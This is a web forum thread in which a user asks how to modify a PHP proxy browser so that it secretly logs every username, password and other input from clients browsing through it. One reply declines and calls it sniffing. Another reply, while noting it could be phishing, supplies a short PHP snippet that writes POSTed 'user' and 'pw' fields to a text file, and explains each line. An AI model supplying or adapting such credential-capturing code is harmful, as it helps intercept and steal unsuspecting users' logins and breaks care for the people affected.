#1
  1. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Jun 2012
    Posts
    7
    Rep Power
    0

    How To Save Login Information (User&pass) In A File On The Server?


    Hi all;

    I'm using a php code for a proxy browser named surrogafier.php which is available on the web
    (I'm not allowed to attach a file or link to somewhere in this forum YET, Pardon me!)

    I want to put this file on my server and use it as a browser, so that clients connect to the server through this inner (surrogafier) browser!
    Currently, I want to customize the php code to meet my needs.
    I'd like to save any entered character or password or any action done, in a text file using this php code.
    I mean, when a client calls the surrogafier (php proxy browser) available on the server in his browser (Chrome, IE, Firefox, Opera, ...) address bar, any input by the client (such as login information:user&pass) to be saved in a text file.
    Something like LOGGING, Thus:

    "My need is adding a procedure to it to log any username and password or other information entered through this browser;
    Better to be saved in a text file."

    I've searched about this issue and found some points such as: set cookies, save in the session, ...

    But I couldn't conclude a working solution (a piece of code for adding to the surrogafier.php code) !
    I'm so much new to php programming and I'm going to use this modified browser in part of my project, so I can't discern which solution is better (set cookie, save in the session or ...) and where should I add the required code in the surrogafier.php (browser) ?

    Perhaps, something like Firefox reaction to save user&pass during first login to Gmail in browser...

    Anyway, I need a piece of PHP code to add it somewhere inside the surrogafier.php proxy browser to log and save the entered user&pass and other details in a text file on the server,

    Could you put here this piece of code and guild me where I should add it in the surrogafier.php code to be able to test it using WampServer, etc?


    I so much appreciate you if help me.
    TIA.
  2. #2
  3. No Profile Picture
    I haz teh codez!
    Devshed Frequenter (2500 - 2999 posts)

    Join Date
    Dec 2003
    Posts
    2,547
    Rep Power
    2337
    So, in short, you want to be able to sniff everything your users do on the web.

    Yeah, good luck getting help with that.
    I ♥ ManiacDan & requinix

    This is a sig, and not necessarily a comment on the OP:
    Please don't be a help vampire!
  4. #3
  5. No Profile Picture
    Registered User
    Devshed Newbie (0 - 499 posts)

    Join Date
    Aug 2012
    Posts
    1
    Rep Power
    0
    Well bro since you want to save it on a text file on your server i recommend to encrypt your people's data UNLESS YOU WANNA PHISH/Steal their data..
    Here's a simple script which might do your trick:

    <html>
    <body>
    <?php
    $files = fopen("data.txt","w");
    fwrite($files,$_POST['user'] . " " . $_POST['pw']);
    fclose($files);
    ?>
    </body>
    </html>

    Now i'll explain the code so you can get a better understading of it.

    $files =fopen("data.txt","w") this line of code means this variable holds as value fopen and what fopen does is open a determined file, the fopen file syntax is ("filenamehere","previlege levelhere") and our file name is data.txt and previlege level is write("w")
    second line will write whatever the user posted on the text forms in the HTML code and the text input form names are "user" and "pw"
    Third line will close the file and end the procedure consequently.
    However this is a basic code and everytime a user posts something on the html forms the php script makes the data you obtained before become overwritten on the data.txt file.. So i basically made this to make you have a clue of the alternatives you have in doing what you wanted to do with php this is just one of them, now your work as a programmer is to try and make your own code that can do what your mind as thought
    I hope i've helped

IMN logo majestic logo threadwatch logo seochat tools logo